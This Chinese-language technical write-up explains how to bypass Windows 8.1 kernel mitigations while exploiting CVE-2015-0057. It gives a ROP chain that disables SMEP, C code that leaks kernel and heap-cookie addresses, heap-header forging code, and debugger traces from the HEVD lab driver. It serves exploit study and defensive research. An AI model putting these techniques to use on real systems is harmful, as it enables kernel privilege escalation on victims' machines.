这里是对CVE-2015-0057在win8.1环境中的一些保护方式绕过方法的说明
SMEP是Win8后提出的一种保护机制,它阻止supervisor模式的程序从用户模式中获取指令,简单的来说,我们这里特指内核模式不能直接执行用户模式的代码。SMEP的实现,需要CPU的支持,在CR4寄存器中,第20个bit是SMEP的标志位,如图
一种绕过它的方式是收集内核模块中的gadget来构建ROP链,该ROP链先清零CR4中的第20bit,然后跳转到用户模式下的shellcode执行。nt!模块中正好有需要的gadget
kd> u
nt!HvlEndSystemInterrupt+0x1a:
fffff800`84b4e32a 8bd0 mov edx,eax
fffff800`84b4e32c 0f30 wrmsr
fffff800`84b4e32e 5a pop rdx
fffff800`84b4e32f 58 pop rax
fffff800`84b4e330 59 pop rcx
fffff800`84b4e331 c3 ret
kd> u
nt!KeWakeProcessor+0x49:
fffff800`84be74e1 488bc1 mov rax,rcx
fffff800`84be74e4 480fbaf007 btr rax,7
fffff800`84be74e9 0f22e0 mov cr4,rax
fffff800`84be74ec 0f22e1 mov cr4,rcx
fffff800`84be74ef c3 ret
于是,我们只需要构造以下ROP链即可
pop_rcx
disableSmepValue
mov_cr4_rcx
shellcode
所以问题在于我们如何从ring3层动态找到处于ring0层的地址,在medium integrity下,可以直接通过NtQuerySystemInformation来获取内核模块基地址,代码如下
PUCHAR GetKernelBase()
{
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
PUCHAR kernelBase = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return kernelBase;
}
以Win8.1下在HEVD中的栈溢出为例,在win8之前我们只需要将shellcode地址覆盖到返回地址即可,但这里必须要绕过SMEP,首先看一下cr4的值
kd> rM 20
dr0=0000000000000000 dr1=0000000000000000 dr2=0000000000000000
dr3=0000000000000000 dr6=00000000fffe0ff0 dr7=0000000000000400 cr4=00000000001506f8
kdr0=0000000000000000 kdr1=0000000000000000 kdr2=0000000000000000
kdr3=0000000000000000 kdr6=00000000fffe0ff0 kdr7=0000000000000400
可以看到其第20bit为1,要关闭SMEP,将cr4的值改为0x506f8即可。
kd> p
HEVD!TriggerBufferOverflowStack+0x109:
fffff801`ba6fb6bd 415c pop r12
kd> p
HEVD!TriggerBufferOverflowStack+0x10b:
fffff801`ba6fb6bf c3 ret
kd> p
nt!wcsncpy_s+0x7f6c:
fffff800`84b4e330 59 pop rcx
kd> p
nt!wcsncpy_s+0x7f6d:
fffff800`84b4e331 c3 ret
kd> p
nt!KeFlushEntireTb+0x14c:
fffff800`84be74ec 0f22e1 mov cr4,rcx
kd> p
nt!KeFlushEntireTb+0x14f:
fffff800`84be74ef c3 ret
kd> rM 20
dr0=0000000000000000 dr1=0000000000000000 dr2=0000000000000000
dr3=0000000000000000 dr6=00000000ffff4ff0 dr7=0000000000000400 cr4=00000000000506f8
kdr0=0000000000000000 kdr1=0000000000000000 kdr2=0000000000000000
kdr3=0000000000000000 kdr6=00000000ffff4ff0 kdr7=0000000000000400
kd> p
000000ad`1aa90000 65488b142588010000 mov rdx,qword ptr gs:[188h] ;shellcode
kd> p
000000ad`1aa90009 4c8b82b8000000 mov r8,qword ptr [rdx+0B8h]
kd> p
000000ad`1aa90010 4d8b88e8020000 mov r9,qword ptr [r8+2E8h]
可以看到经过这样的ROP,cr4的第20bit被置0,而shellcode也正常执行了,说明绕过成功。
Windows为了防止堆溢出,每次开机时都会产生一个随机数作为cookie,对堆块头部进行异或加密,如果我们直接进行覆盖,则无法通过之后的校验。不过由于这里只进行了简单的异或,所以一旦我们获取了这个heap cookie,就能还原出正确的HEAP_ENTRY,大概像这样
xored_header = (ULONG_PTR)menu_addr - OVERLAY1_SIZE - _HEAP_BLOCK_SIZE;
decoded_header = XOR(string((CHAR *)xored_header, 16), cookie);
// modify heap header
tmp_header = (CHAR *)decoded_header.c_str();
tmp_header[8] = (OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE)/0x10; // new size
tmp_header[11] = tmp_header[8] ^ tmp_header[9] ^ tmp_header[10]; // new checksum
// xor new heap header
new_heap_header = XOR(decoded_header, cookie);
于是关键就是获取heap cookie,我们来解释一下这段获取heap cookie的代码
BOOL GetDHeapCookie()
{
__debugbreak();
MEMORY_BASIC_INFORMATION MemInfo = { 0 };
BYTE *Addr = (BYTE *) 0x1000;
ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
{
if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
{
if ( *(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee )
{
if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap))
{
xorKey.append( (CHAR*)((BYTE *)MemInfo.BaseAddress + 0x80), 16 );
return TRUE;
}
}
}
Addr += MemInfo.RegionSize;
}
return FALSE;
}
其中VirtualQuery是获取堆块信息,在之后的比对中,偏移0x10的0xffeeffee为堆的签名,这是一个堆的标志。而deltaDHeap是提前获取好的,它是内核空间映射到用户空间的相对偏移,而偏移0x28位置的值正好是该用户空间的堆在内核中的地址,经过两层比对,就可以确定该堆块确实由内核空间映射而来,于是取其+0x80处16字节,即是cookie值了。结构如下
kd> dt _HEAP
ntdll!_HEAP
+0x000 Entry : _HEAP_ENTRY
+0x010 SegmentSignature : Uint4B
+0x014 SegmentFlags : Uint4B
+0x018 SegmentListEntry : _LIST_ENTRY
+0x028 Heap : Ptr64 _HEAP
+0x030 BaseAddress : Ptr64 Void
+0x038 NumberOfPages : Uint4B
+0x040 FirstEntry : Ptr64 _HEAP_ENTRY
+0x048 LastValidEntry : Ptr64 _HEAP_ENTRY
+0x050 NumberOfUnCommittedPages : Uint4B
+0x054 NumberOfUnCommittedRanges : Uint4B
+0x058 SegmentAllocatorBackTraceIndex : Uint2B
+0x05a Reserved : Uint2B
+0x060 UCRSegmentList : _LIST_ENTRY
+0x070 Flags : Uint4B
+0x074 ForceFlags : Uint4B
+0x078 CompatibilityFlags : Uint4B
+0x07c EncodeFlagMask : Uint4B
+0x080 Encoding : _HEAP_ENTRY